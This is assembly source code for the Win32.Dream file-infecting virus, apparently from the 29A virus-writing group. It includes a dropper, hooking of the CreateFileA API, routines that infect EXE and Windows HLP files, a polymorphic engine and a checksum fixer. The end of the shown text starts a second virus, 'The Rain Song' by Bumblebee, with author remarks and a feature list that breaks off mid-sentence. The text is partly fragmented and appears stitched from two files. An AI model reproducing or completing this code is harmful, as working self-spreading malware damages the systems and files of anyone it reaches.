bd_write: lodsb stosb ;save data loop bd_write jmp bd_read E8 equ 0E8 bd_done: push 0 call @@2 dd ? @@2:push 1024 push dword ptr [esp+12] ;droppers body

push dword ptr [esp+20] ;file handle mov eax,0 lpWriteFile equ $-4 call eax push eax dword ptr [esp+8] call [ebp+lpCloseHandle-vstart] pop ecx eax eax ;write error ? jecxz bd_failed test al,0F9h bd_failed equ $-1 ret radix 16 ;compressed [dropper EXE(PE) 1024 bytes] dropper_data equ this byte db 0,5,4Dh,5A,90,0,3,3,1,4,3,2,0FF,0FF,2,1,0B8,7,1,40,23,1,0C0,83,2 db 50,45,2,8,4C,1,1,0,7F,6A,4,38,8,7,0E0h,0,0Fh,1,0Bh,1,6,6,1,2,6,2 db 0C,10,3,1,10,3,1,10,4,1,40,2,1,10,3,1,2,2,1,4,7,1,4,8,1,20,3,1,2 db 2,2,0E6,3Bh,2,1,2,5,1,10,2,1,10,4,1,10,2,1,10,6,1,10,0Bh,2,88,10 db 2,1,28,54,1,10,2,1,8,1Bh,4,2Eh,32,39,41,4,1,0C8,4,1,10,3,1,2,3,1 db 2,0E,1,40,2,1,0C0,20,2,0B8h,10,0A,7E,0E8,45,0,0,0,96,0E8,0,0,0,0 db 5Dh,89,75,9,0EBh,2,90,90,0BBh,0,0,0,0,83,3Bh,0,75,1E,66,0C7,45,6 db 0EBh,28,0E8,1E,0,0,0,33,0C9,53,51,53,50,51,51,0B8,0,0,0,0,-1,0D0 db 0F7,0D0,89,3,6A,0A,0B8,0,0,0,0,0FF,0D0h,0EBh,0CBh,0ADh,56,0EBh,7 db 0E8,2,0,0,0,41,0,33,0F6,0BF,1F,0,0F,0,6A,1,57,0B8,0,0,0,0,-1,0D0 db 56,56,56,57,50,0B9,0,0,0,0,-1,0D1,0C3,E8,0,0,0,0,-1,25,0,10,40,0 db 0,0,0B0,10,0A,2,0BEh,10,3,1,10,16,2,0B8,10,6,0Fh,96,1,50,69,65,0 db 47,44,49,33,32,2E,64,6C,6C,0FF radix 10 build_dropper endp malloc proc pusha ;allocate shared memory xchg ebx,eax sub esi,esi inc byte ptr [ebp+m_sign-2-vstart] call m_sign db "@",0 m_sign: push ebx esi 4 esi 0-1 mov eax,0 lpCreateFileMappingA equ $-4 call eax dec eax jz m_failed inc eax push ebx esi esi 2 eax mov eax,0 lpMapViewOfFile equ $-4 call eax m_failed: mov [esp+28],eax popa or eax,eax ret malloc endp hookapi proc mov ebx,0 ha_module equ $-4 cmp word ptr [ebx],'ZM' jnz ha_failed movzx esi,word ptr [ebx+60]

add esi,ebx cmp word ptr [esi],'EP' jnz ha_failed mov eax,[esi+80h] add eax,ebx fk32:mov esi,eax mov esi,[esi+12] cmp [esi+ebx],'NREK' jz fkok sub eax,-20 jmp fk32 fkok:mov edx,[eax+16] add edx,ebx cmp dword ptr [eax],0 jz ha_failed push edx mov esi,[eax] add esi,ebx mov edx,esi sub eax,eax fklp:cmp dword ptr [edx],0 jz ha_failed2 cmp dword ptr [edx+3],80h jz finc mov esi,[edx] lea esi,[esi+ebx+2] call fnam db "CreateFileA",0 fnam:pop edi fcom:push 12 pop ecx repe cmpsb jecxz fapi finc:inc eax sub edx,-4 jmp fklp fapi:shl eax,2 add eax,[esp] xchg ebx,eax mov eax,[ebx] mov ecx,[ebp+cpm_shared_mem-vstart] mov [ecx+vbody+newCreateFile+1-vstart],eax lea eax,[ecx+vbody+newCreateFile-vstart] mov [ebx],eax pop ecx ret ha_failed2: pop eax ha_failed: pop eax jmp __return hookapi endp db db " Win32.Dream, (c)oded by Prizzy/29A ",13,10 " The greetz go to all 29A vx coderz ",13,10

newCreateFile proc push 80h oldCreateFile equ $-4 pusha call $+5 pop ebp sub ebp,$-vstart-1

mov ebx,[ebp+cpm_shared_mem-vstart] lea edi,[ebx+vbody+vsize] mov word ptr [edi-vsize+__return+11-vstart],9090h mov esi,[esp+7*4+12] ncfc:lodsb stosb or al,al jnz ncfc lea edi,[ebx+active] lea esi,[ebx+process] ;infect_file hProcess, ProcID lodsd xchg ebx,eax lodsd mov byte ptr [edi],1 ;active thread push eax 0 1F0FFFh call [ebp+lpOpenProcess-vstart] xchg eax,ecx jecxz ncf_failed ncfw:push 40 ebx call [ebp+lpWaitForSingleObject-vstart] cmp byte ptr [edi],0 jnz ncfw ncf_failed: popa ret newCreateFile endp start_thread macro thread pusha ;threads gdelta push 80h ;Sleep function call $+5 pop ebp sub ebp,$-thread-1 mov esi,[esp+40] IFE st_count NE 0 if_shared_mem equ $-4 push 80h 0 1F0FFFh if_parent equ $-11 call [esi+apiz+12*4] ;OpenProcess xchg eax,esi xchg eax,ebx or esi,esi jnz $ + 11 ;terminate all processes inc esi mov [ebx+paramz+(6-1)*4],esi jmp ifex push esi call [ebx+apiz+1*4] ;CloseHandle mov esi,ebx ELSE push 1 pop edi cmp [esi+paramz+(6-1)*4],edi ;terminate this process? jnz $ + 4 jmp edi ENDIF mov eax,[esi+paramz+(7-1)*4] test al,1 jz $ + 4 mov al,[eax] lea edi,[esi+active+st_count] push edi cmp byte ptr [edi],0

jz endm

@@end

st_count = 0 end_thread macro thread st_count = st_count + 1 mov edi,[esp] mov byte ptr [edi],0 @@end:pop edi eax ;sleep function call eax, 2 popa ;don't terminate jmp thread endm dw check_infected-infect_file infect_file proc start_thread infect_file lea esi,[ebx+vbody+vsize] ifex:lodsb cmp al,'.' jnz ifex dec esi lodsd or eax,20202020h mov ebx,[esp+44] lea edi,[ebx+active+4] lea esi,[ebx+process+8*4] ;infect_exe hProcess, ProcID cmp eax,'exe.' jz if_2 cmp eax,'plh.' jnz if_failed if_call_hlp: sub esi,8 ;infect_hlp dec edi if_2:lodsd push eax lodsd mov byte ptr [edi],1 ;active infect_exe (_hlp) push eax 0 1F0FFFh call [ebx+apiz+4*12] ;OpenProcess xchg eax,ecx jecxz if_failed - 1 if_r:pop eax push eax 40 eax call [ebx+apiz+4*13] ;WaitForSingleObject cmp byte ptr [edi],0 jnz if_r pop eax if_failed: end_thread infect_file infect_file endp dw create_infected-check_infected check_infected proc start_thread check_infected xchg ebx,esi xor esi,esi cmp [ebx+paramz+(5-1)*4],1 jz ci_nomem other_process_mem macro shared_mem, param call $ + 7 ;get mem from other process

db "1",0 push 1 4 call [shared_mem+apiz+24*4] xor ecx,ecx push eax ecx ecx ecx 4 eax call [shared_mem+apiz+7*4] push eax xchg eax,esi endm other_process_mem ebx, 4

;OpenFileMappingA

;MapViewOfFile

ci_nomem: add esi,[ebx+paramz+(4-1)*4] mov ecx,[esi-4-tbyte] ;number of the terms in a or ecx,ecx ;equation jz ci_failed cmp ecx,8 jnbe ci_failed sub esp,128 fsave [esp] push ecx imul ecx,-(tbyte+tbyte) sub ecx,tbyte+tbyte+4+tbyte lea esi,[esi+ecx] ;data starts here lea edi,[ebx+vbody+vsize+260] cmp [ebx+paramz+(5-1)*4],1 jnz $ + 8 lea edi,[ebx+vbody+vsize+260+ci_size/2] neg ecx push edi rep movsb pop esi ecx push ecx esi fld tbyte ptr [esi+tbyte] ;derivation of the equations fld st(0) ;you'll get two tangents fld tbyte ptr [esi] fmul fld1 fsubp st(2),st fstp tbyte ptr [esi] fstp tbyte ptr [esi+tbyte] sub esi,-(tbyte+tbyte) loop $ - 21 pop esi ecx sub esp,tbyte+tbyte fldz fldz fstp tbyte ptr [esp] fstp tbyte ptr [esp+tbyte] push esi ecx imul eax,[esp],tbyte+tbyte ;involution of the equations fld tbyte ptr [esi] fld tbyte ptr [esi+tbyte] fld tbyte ptr [esi+eax+tbyte] fld tbyte ptr [esi+eax] fld st(2) fld st(4) fxch st(2) lea edx,[ebp+($+32)-check_infected] push edx fyl2x ;over natural logarithm fld st(0)

frndint fsubr st(1),st fxch fchs f2xm1 fld1 faddp fscale fstp st(1) fmul ret fld tbyte ptr [esp+tbyte+2*dword] faddp fstp tbyte ptr [esp+tbyte+2*dword] call $ - 35 ;we've two points on the curve fld tbyte ptr [esp+2*dword] faddp fstp tbyte ptr [esp+2*dword] sub esi,-(tbyte+tbyte) dec dword ptr [esp] ;next term in the equation jnz $ - 85 pop ecx ecx fld tbyte ptr [esp+tbyte] ;calculate an angle of the fld tbyte ptr [esp] ;two tangents of the equation fld st(1) fld st(1) fsub fxch st(2) fmul fld1 fadd fdiv fabs fld1 fpatan push 180 ;radian -> angle fimul dword ptr [esp] fldpi fdiv pop eax sub esp,-(tbyte+tbyte) mov eax,2*tbyte+dword cmp dword ptr [ebx+paramz+(5-1)*4],1 jnz $ + 12 sub eax,-(dword-ci_size/2) fld st(0) fstp tbyte ptr [esi+eax] fld tbyte ptr [esi+eax] fsub sub esp,tbyte fstp tbyte ptr [esp] cmp dword ptr [esp+tbyte-dword],0 ;compare the results lahf sub esp,-tbyte wait fnrstor [esp] sub esp,-128 sahf jnz ci_failed push 1 pop eax mov [ebx+paramz+(4-1)*4],eax jmp ci_finish

ci_failed: xor eax,eax mov [ebx+paramz+(4-1)*4],eax ci_finish: cmp [ebx+paramz+(5-1)*4],1 jz $ + 8 call [ebx+apiz+8*4] call [ebx+apiz+1*4] end_thread check_infected check_infected endp

;UnMapViewOfFile ;CloseHandle

dw infect_hlp-create_infected create_infected proc start_thread create_infected lea edi,[esi+vbody+vsize+260] push edi stosd call $ + 241 ;number of the terms in a shr eax,29 ;equation xchg eax,ecx inc ecx push ecx sub esp,128 fnsave [esp] call $ + 221 ;generate a multiplier (+/-) sub edx,edx mov ebx,100000 div ebx or edx,edx jz $ - 16 fld1 rcr eax,1 jc $ + 4 fchs push edx fimul dword ptr [esp] fstp tbyte ptr [edi] pop edx sub edi,-tbyte call $ + 119 ;generate an exponent loop $ - 41 ;next term in the equation inc ecx inc ecx call $ + 110 ;two points on the curve loop $ - 5 fnrstor [esp] sub esp,-128 pop eax stosd lea ecx,[edi+tbyte] sub edi,[esp] xchg eax,edi pop edi stosd pusha ;calculate an angle, it mov ebx,esi ;means: call other process mov [esi+paramz+(4-1)*4],ecx mov [esi+paramz+(5-1)*4],1 lea edi,[esi+active+1] lea esi,[esi+process+1*8] lodsd push eax lodsd

mov byte ptr [edi],1 push eax 0 1F0FFFh call [ebx+apiz+4*12] ;OpenProcess pop esi push 40 esi call [ebx+apiz+4*13] ;WaitForSingleObject cmp byte ptr [edi],0 jnz $ - 9 popa mov [esi+paramz+(5-1)*4],0 end_thread create_infected call $ + 66 ;generate an exponent sub edx,edx push 11 pop ebx div ebx or edx,edx jz $-14 push edx fild dword ptr [esp] call $+15 dt 3FEB8637BD05AF6C69B6r pop eax ebx fld tbyte ptr [eax] xchg ebx,eax cdq call $ + 25 mov ebx,1000000 div ebx push edx fimul dword ptr [esp] fsub fstp tbyte ptr [edi] pop eax sub edi,-tbyte ret mov eax,0 ;get a random value lpGetTickCount equ $-4 call eax add eax,80h push ecx 33 pop ecx add eax,eax jnc $ + 4 xor al,197 loop $ - 6 mov [ebp+($-16)-create_infected],eax pop ecx ret create_infected endp dw infect_exe-infect_hlp infect_hlp proc start_thread infect_hlp sub esp,16 sub ebx,ebx mov word ptr [esi+vbody+__return+11-vstart],02EBh lea eax,[esi+vbody+vsize] push ebx 80h 3 ebx ebx 0c0000000h eax call [esi+apiz+4*0] ;open file inc eax jz ih_failed dec eax

push eax mov bh,80h push ebx 40h mov eax,0 lpGlobalAlloc equ $-4 call eax ;GlobalAlloc mov [esp+4],eax xchg eax,esi push 16 pop ecx sub edx,edx call read jc ih_free lodsd cmp eax,35f3fh ;hlp signature jnz ih_free lodsd lea edx,[eax+55] ;directory offset mov ecx,512 lodsd lodsd call read ih_search: dec ecx jz ih_free cmp dword ptr [esi+ecx],'SYS|' jnz ih_search cmp dword ptr [esi+ecx+4],'MET' jnz ih_search mov eax,[esi-4] xchg eax,[esi+ecx+8] xchg eax,edx push 21 sub esi,-512 pop ecx call read lodsd push 21 pop ecx sub eax,ecx add edx,ecx mov [esp+4+4],edx mov [esp+8+4],eax mov edi,[esp+4] sub edi,-549 lea esi,[ebp+hlp1_s-infect_hlp] lea eax,[edi+size-hlp1_s] mov [esp+12+4],eax push hlp1_e-hlp1_s pop ecx rep movsb push edi mov ebx,[esp+40+16+8+4] lea esi,[ebx+vbody] push esi sub esi,-vsize ih_next: sub esi,4 mov eax,[esi] call ihck or edx,edx jnz ihex mov al,68h

stosb mov eax,[esi] stosd jmp ihdn ihex:mov al,0b8h stosb mov eax,[esi] xor eax,edx stosd mov al,53 stosb mov eax,edx stosd mov al,80 stosb ihdn:cmp [esp],esi jnz ih_next jmp ihcn ihck:call ihcv jc iha1 sub edx,edx ret iha1:mov ebx,eax ihax:mov eax,ebx call $+9 dd 12345678h pop edx sub [edx],12345678h org $-4 rnd dd 87654321h mov edx,[edx] xor [ebp+rnd-infect_hlp],edx xor eax,edx call ihcv jc ihax xchg eax,edx call ihcv jc ihax xchg edx,eax ret ihcv:pusha push 4 pop ecx icva:cmp al,' ' jna icvf cmp al,0f0h jnbe icvf cmp al,'"' jz icvf cmp al,"'" jz icvf cmp al,"`" jz icvf cmp al,"\" jz icvf ror eax,8 loop icva test al,0F9h icvf equ $-1 popa ret ihcn:pop eax eax mov ecx,edi

sub ecx,eax sub eax,eax mov [esi+org_ep-vstart],eax push ecx sub ecx, p1-hlp1_e+hlp1_e-hlp2_e mov eax,[esp+12+4+4] mov [eax],cx sub esi,vstart-hlp1_e push hlp2_sz pop ecx rep movsb pop eax mov esi,[esp+4] ;buffer sub esi,-528 sub eax,hlp1_s-hlp2_e-21 mov [esi],eax add [esi+4],eax mov esi,edi mov edx,[esp+4+4] mov ecx,[esp+8+4] sub eax,ecx jna ih_free call read cmp [esi+4],"`(RR" ;already infected? jz ih_free mov ebx,[esp+4] lea ecx,[edi+eax] sub ecx,ebx sub ecx,528 mov eax,[esp+4] sub eax,-528 mov edx,[eax] sub edx,ecx sub [eax],edx mov edx,[ebx+12] lea esi,[ebx+528] call write mov esi,[esp+4] push 16 add [esi+12],ecx sub edx,edx pop ecx call write mov edx,[esi+4] sub edx,-55 mov ecx,512 sub esi,-16 call write jmp ih_free spos:pusha sub eax,eax push eax eax edx dword ptr [esp+4*5+8*4] mov eax,0 lpSetFilePointer equ $-4 call eax popa ret read:call spos pusha sub eax,eax push ecx eax call $+9

r_ts:dd ? push ecx esi dword ptr [esp+4*6+8*4] mov eax,0 lpReadFile equ $-4 call eax pop ecx cmp dword ptr [ebp+r_ts-infect_hlp],ecx jnz $+3 test al,0F9h popa ret write:call spos pusha sub eax,eax push eax lea ebx,[ebp+r_ts-infect_hlp] push ebx ecx esi dword ptr [esp+4*5+8*4] mov eax,[esp+4*5+8*4+4+16+8+40] ;ou! what does it mean :) ? call [eax+apiz+4*10] popa ret hlp1_s=$ dw 4 dw offset label1-$-2 db "RR(`USER32.DLL',`EnumWindows',`SU')",0 label1=$ dw 4 size dw 0 p1 = $ db "EnumWindows(`" hlp1_e= $ jmp esp db "',0)",0 hlp2_e = $ hlp2_sz=hlp2_e-hlp1_e ih_free: mov esi,[esp+40+16+4+4] call [esi+apiz+4*1] mov eax,0 lpGlobalFree equ $-4 call eax ih_failed: sub esp,-12 end_thread infect_hlp infect_hlp endp

;CloseHandle

dw poly_engine-infect_exe infect_exe proc start_thread infect_exe sub ebx,ebx lea eax,[esi+vbody+vsize] push ebx 80h 3 ebx ebx 0c0000000h eax call [esi+apiz+4*0] ;CreateFileA inc eax jz ie_failed dec eax push eax ebx eax mov eax,0 lpGetFileSize equ $-4 call eax cmp eax,4096

jc ie_close cmp eax,104857600 jnbe ie_close mov [ebp+fsize-infect_exe],eax call $ + 7 db "1",0 push ebx ebx 2 ebx dword ptr [esp+4*5] call [esi+apiz+4*6] ;CreateFileMappingA or eax,eax jz ie_close push eax ebx ebx ebx 4 eax call [esi+apiz+28] ;MapViewOfFile or eax,eax jz ie_mclose push eax cmp word ptr [eax],'ZM' jnz ie_unmap cmp word ptr [eax+MZ_crlc],bx jz ie_tested cmp word ptr [eax+MZ_lfarlc],64 jc ie_unmap ie_tested: mov edi,[eax+MZ_lfanew] add edi,eax cmp dword ptr [edi],4550h jnz ie_unmap mov eax,[esp+4] mov [esi+paramz+(3-1)*4],eax mov eax,[ebp+fsize-infect_exe] mov [esi+paramz+(4-1)*4],eax call other_process, 1 ;active check_infected process

cmp [esi+paramz+(4-1)*4],1 jz ie_unmap call other_process, 2 ;active create_infected process

mov ax,[edi+NT_FileHeader.FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz ie_unmap test ax,IMAGE_FILE_DLL jnz ie_unmap movzx ecx,[edi+NT_FileHeader.FH_NumberOfSections] dec ecx or ecx,ecx jz ie_unmap imul eax,ecx,IMAGE_SIZEOF_SECTION_HEADER movzx edx,[edi+NT_FileHeader.FH_SizeOfOptionalHeader] mov [ebp+ie_section-infect_exe],eax lea ebx,[edx+edi+NT_OptionalHeader.OH_Magic] add ebx,eax mov eax,[ebx+SH_SizeOfRawData] push eax add eax,[ebx+SH_VirtualAddress] lea ecx,[esi+vbody+inf_ep-vstart] mov [ecx],eax mov eax,[edi+NT_OptionalHeader.OH_AddressOfEntryPoint] mov [ecx+5+6],eax call pop eax other_process, 5 ;active poly_engine process

add eax,[ebx+SH_PointerToRawData] add eax,[esi+paramz+4*0] add eax,dword ptr [esi+vbody+vsize+260] mov ecx,[edi+NT_OptionalHeader.OH_FileAlignment] add eax,ecx cdq dec eax div ecx mul ecx mov [ebp+align_d-infect_exe],eax call [esi+apiz+4*8] ;UnMapViewOfFile call [esi+apiz+4*1] ;CloseHandle sub ebx,ebx call $ + 7 db "1",0 align_d equ $+1 push 80h ebx 4 ebx dword ptr [esp+4*5] call [esi+apiz+4*6] ;CreateFileMappingA push eax ebx ebx ebx 2 eax call [esi+apiz+4*7] ;thx2 Bumblebee for his help push eax add eax,[eax.MZ_lfanew] xchg eax,edi mov ebx,0 ie_section equ $-4 movzx edx,[edi+NT_FileHeader.FH_SizeOfOptionalHeader] lea eax,[edx+edi+NT_OptionalHeader.OH_Magic] movzx ecx,[edi+NT_FileHeader.FH_NumberOfSections] add eax,ebx ie_change_flag: or [eax.SH_Characteristics],IMAGE_SCN_MEM_WRITE sub eax,IMAGE_SIZEOF_SECTION_HEADER loop ie_change_flag lea eax,[edx+edi+NT_OptionalHeader.OH_Magic] add ebx,eax mov eax,[esi+vbody+inf_ep-vstart] mov [edi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax pusha mov ecx,[esi+paramz+4*0] mov [esp+7*4],ecx mov edi,[ebx+SH_SizeOfRawData] add [esp+7*4],edi add edi,[ebx+SH_PointerToRawData] add edi,[esp+7*4+4] lea esi,[esi+vbody+vsize+260+ci_size] ;poly vbody rep movsb popa mov eax,[esi+paramz+4*0] add eax,[ebx+SH_SizeOfRawData] mov ecx,[edi+NT_OptionalHeader.OH_FileAlignment] add eax,ecx cdq dec eax div ecx mul ecx mov [ebx+SH_SizeOfRawData],eax push eax mov eax,[ebx+SH_VirtualSize] add eax,vsize+68 mov ecx,[edi+NT_OptionalHeader.OH_SectionAlignment] add eax,ecx cdq dec eax

div ecx mul ecx pop ecx cmp eax,ecx jnc ie_1 mov eax,ecx ie_1:mov [ebx+SH_VirtualSize],eax add eax,[ebx+SH_VirtualAddress] cmp eax,[edi+NT_OptionalHeader.OH_SizeOfImage] jc ie_2 mov [edi+NT_OptionalHeader.OH_SizeOfImage],eax ie_2:or dword ptr [ebx+SH_Characteristics], \ IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \ IMAGE_SCN_MEM_WRITE .if dword ptr [edi+NT_OptionalHeader.OH_CheckSum] != 0 mov eax,0 fsize equ $-4 add eax,[esi+paramz+(1-1)*4] mov [esi+paramz+(2-1)*4],eax call other_process, 6 ;active checksum process

mov eax,[esi+paramz+(4-1)*4] mov [edi+NT_OptionalHeader.OH_CheckSum],eax .endif push esi mov edi,[ebp+align_d-infect_exe] add edi,[esp+4] lea esi,[esi+vbody+vsize+260] lodsd sub eax,4-tbyte sub edi,eax xchg eax,ecx rep movsb pop esi ie_unmap: call [esi+apiz+4*8] ;UnMapViewOfFile ie_mclose: call [esi+apiz+4*1] ;CloseHandle ie_close: call [esi+apiz+4*1] ;CloseHandle ie_failed: end_thread infect_exe other_process proc pusha mov ecx,[esp+36] mov ebx,esi lea edi,[esi+active+ecx] lea esi,[esi+process+ecx*8] lodsd push eax lodsd mov byte ptr [edi],1 push eax 0 1F0FFFh call [ebx+apiz+4*12] pop esi push 40 esi call [ebx+apiz+4*13] cmp byte ptr [edi],0 jnz $ - 9 popa

;OpenProcess

;WaitForSingleObject

ret 4 other_process endp infect_exe endp dw checksum-poly_engine poly_engine proc start_thread poly_engine mov ebx,esi lea esi,[ebx+vbody+vsize] lea edi,[esi+260+ci_size] push ebx edi sub ecx,ecx mov edx,vsize / 2 mov eax,0E8h stosd mov eax,242C8300h stosd mov al,5 stosb @@a:call random test al,1 jnz @@b cmp edx,1 jz @@v sub esi,4 push esi lodsd call @@1_a pop esi dec edx jmp @@k @@b:test al,2 jnz @@c @@v:dec esi dec esi push esi lodsw inc ecx call @@1_a pop esi sub cl,cl jmp @@k @@c:test al,4 jnz @@e call @@1 jc $+7 call @@2 jmp @@l @@e:inc ecx call @@1 jc $+7 call @@2 sub cl,cl jmp $+5 @@k:dec edx jz $+4 @@l:jmp @@a mov ax,0E4FFh stosw jmp pe_failed

;push random value DWORD

;push random value WORD

@@1:call random test al,1 jnz @@1_d @@1_a:xchg eax,ebx @@1_b:jecxz @@1_c mov al,66h stosb @@1_c:call @@3_a test al,0F9h @@1_d equ $-1 ret @@2:call random test al,1 jnz @@2_b and al,7 cmp al,4 jz @@2 or al,al jz @@2 jecxz @@2_a xchg eax,ebx mov al,66h stosb xchg ebx,eax @@2_a:add al,58h stosb ret @@2_b:mov ax,0C483h stosw mov al,4 jecxz @@2_c mov al,2 @@2_c:stosb ret @@3:xchg eax,ebx @@3_a:mov al,68h stosb xchg eax,ebx jecxz @@3_b stosw ret @@3_b:stosd ret

;push random value

;push certain value ;push WORD

;POP reg32 or ADD ESP,4

;

;push certain value in EAX in EBX

random: mov eax,0BFF71234h push ecx 33 pop ecx @@r:add eax,eax jnc $+4 xor al,197 loop @@r mov [ebp+random+1-poly_engine],eax pop ecx ret pe_failed: pop ecx ebx sub edi,ecx mov [ebx+paramz+4*0],edi end_thread poly_engine poly_engine endp

dw k32_addrs-checksum checksum proc start_thread checksum xchg ebx,esi other_process_mem ebx 3 mov ecx,[ebx+paramz+(2-1)*4] sub edx,edx shr ecx,1 @@1:lodsw mov edi,0FFFFh and eax,edi add edx,eax mov eax,edx and edx,edi shr eax,10h add edx,eax loop @@1 mov eax,edx shr eax,10h add ax,dx add eax,[ebp+4] mov [ebx+paramz+(4-1)*4],eax call [ebx+apiz+8*4] call [ebx+apiz+1*4] end_thread checksum checksum endp k32_addrs equ this byte x equ <vstart-> dw x lpCreateFile dw x lpCloseHandle dw x lpCreateMutexA dw x lpGetLastError dw x lpReleaseMutex dw x lpExitProcess dw x lpCreateFileMappingA dw x lpMapViewOfFile dw x lpUnMapViewOfFile dw x lpGetSystemDirectory dw x lpWriteFile dw x lpCreateProcessA dw x lpOpenProcess dw x lpWaitForSingleObject dw x lpRegisterServiceProcess dw x lpGetFileSize dw x lpGlobalAlloc dw x lpGlobalFree dw x lpReadFile dw x lpSetFilePointer dw x lpSetErrorMode dw x lpGetCurrentProcessId dw x lpGetVersion dw x lpGetTickCount dw x malloc+63 dw x malloc+51 dw x malloc+106 dw x infect_file-2 count equ ($-k32_addrs)/2 k32_crcs equ this byte dd 08C892DDFh ;CreateFileA ;get mem from other process

;UnMapViewOfFile ;CloseHandle

dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd

068624A9Dh 020B943E7h 087D52C94h 0C449CF4Eh 040F57181h 096B2D96Ch 0797B49ECh 094524B42h 0593AE7CEh 021777793h 0267E0B05h 033D350C4h 0D4540229h 05F31BC8Eh 0EF7D811Bh 083A353C3h 05CDF6B6Ah 054D8615Ah 085859D42h 0A2EB817Bh 0EB1CE85Ch 042F13D06h 0613FD7BAh 041D64912h 0797B49ECh 019F33607h 00AC136BAh 0

;CloseHandle ;CreateMutexA ;GetLastError ;ReleaseMutexA ;ExitProcess ;CreateFileMappingA ;MapViewOfFile ;UnMapViewOfFile ;GetSystemDirectoryA ;WriteFile ;CreateProcessA ;OpenProcess ;WaitForSingleObject ;RegisterServiceProcess ;GetFileSize ;GlobalAlloc ;GlobalFree ;ReadFile ;SetFilePointer ;SetErrorMode ;GetCurrentProcessId ;GetVersion ;GetTickCount ;OpenFileMappingA ;MapViewOfFile (other address) ;CreateThread ;Sleep

process_maps equ this byte dw x infect_file dw x check_infected dw x create_infected dw x infect_hlp dw x infect_exe dw x poly_engine dw x checksum p_number equ ($-process_maps)/2 dw x malloc+95 process_memory struc thandle dd 0 ;returned thread handle by dropper th_mempos dd 0 ;thread body memory position process dd p_number dup (0,0) ;hProcess (Wait), ProcessID (Open) apiz dd count-2 dup (0) ;all API functionz without two last active db p_number dup (0) ;active process (=function) ? paramz dd 8 dup (0) ;process parameters vbody db vsize dup (0) ;virus body (poly, valuez) ; filename dd 260 dup (0) ;name of file (opening, etc) ci_size equ 2*16*(tbyte+tbyte) ;check_infected fpu buffer ; cinfected db ci_size dup(0) ; poly_vbody equ this byte ; ** This is Tasm32 bug, cannot asm through const->proc + dup ends align 4 file_end: db 68 dup(0) mem_end: push 401000h sub esp,vsize jmp vstart

fgx:db "E:\X_WIN\ABCD.EXE",0 fg0:mov edx,offset fgx sub eax,eax push eax 80h 3 eax eax 0c0000000h edx call CreateFileA push 0 0 call fg1 db "Win32.Dream - welcome to my world...",0 fg1:call fg2 db "First generation sample",0 fg2:push 0 call MessageBoxA call ExitProcess ;ÄÄÄ´ end of virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ end mem_end

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

The Rain Song Coded by Bumblebee/29a

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ . The best way to code a virus: listening Led Zeppelin (i'm not so old, but the best is ever good ;). And in the time i was coding this bug i became hooked again by the Dr. Asimov. 'Pelude to Foundation' it's the book. Here in spain the books are going even more expensive, but there are cheap editions of Asimov's work (about 6 Euros). The name of the virus is from the amazing song by Led Zeppelin, of coz. But the payload is a little tribute to Isaac Asimov. Very little. This virus triggers its payload in the death date of Asimov. May be you're interested in sci-fi, or just looking for a good book to evade yourself from reality, there are some titles i love (this could be a nice order to read them): Basics about the Foundation: Foundation Foundation and Empire Second Foundation This books could be readed before or after the basics: Prelude to Foundation Forward the Foundation It's true the titles say nothing about the book contents. hehehe. This is Asimov ;) I feel you'll like them. Books made me be a bit as i am. There is nothing that makes you more as you are that those things you choose to ignore. Hey! take that ;) . This is my first per-process virus and also my first virus with EPO. Don't spect too much of it. It isn't anything you haven't seen before, but with Bumblebee style. May be you're thinking in this way asm32 is going more and more close to macro coding (hi ya urgo32!). I'm not here for the money ;) Only for fun. And fun is not ever innovate... If you think this virus is worth less releasing let me know! ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ . This is the source code of a VIRUS. The author is not responsabile of any damage that may occur due to the assembly of this file. Use it at your own risk. ÚÄÄÄÄÄÄÄÄÄÄ¿ ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÙ . Works under win32 systems: Windows 9x Windows Nt Windows 2000 Future versions? . Uses SEH during scan kernel process. If the virus gets control from EPO i test 1st for the last used address and if fails i test using the Win9x, WinNt and Win2k fixed kernel addresses. In this case it could

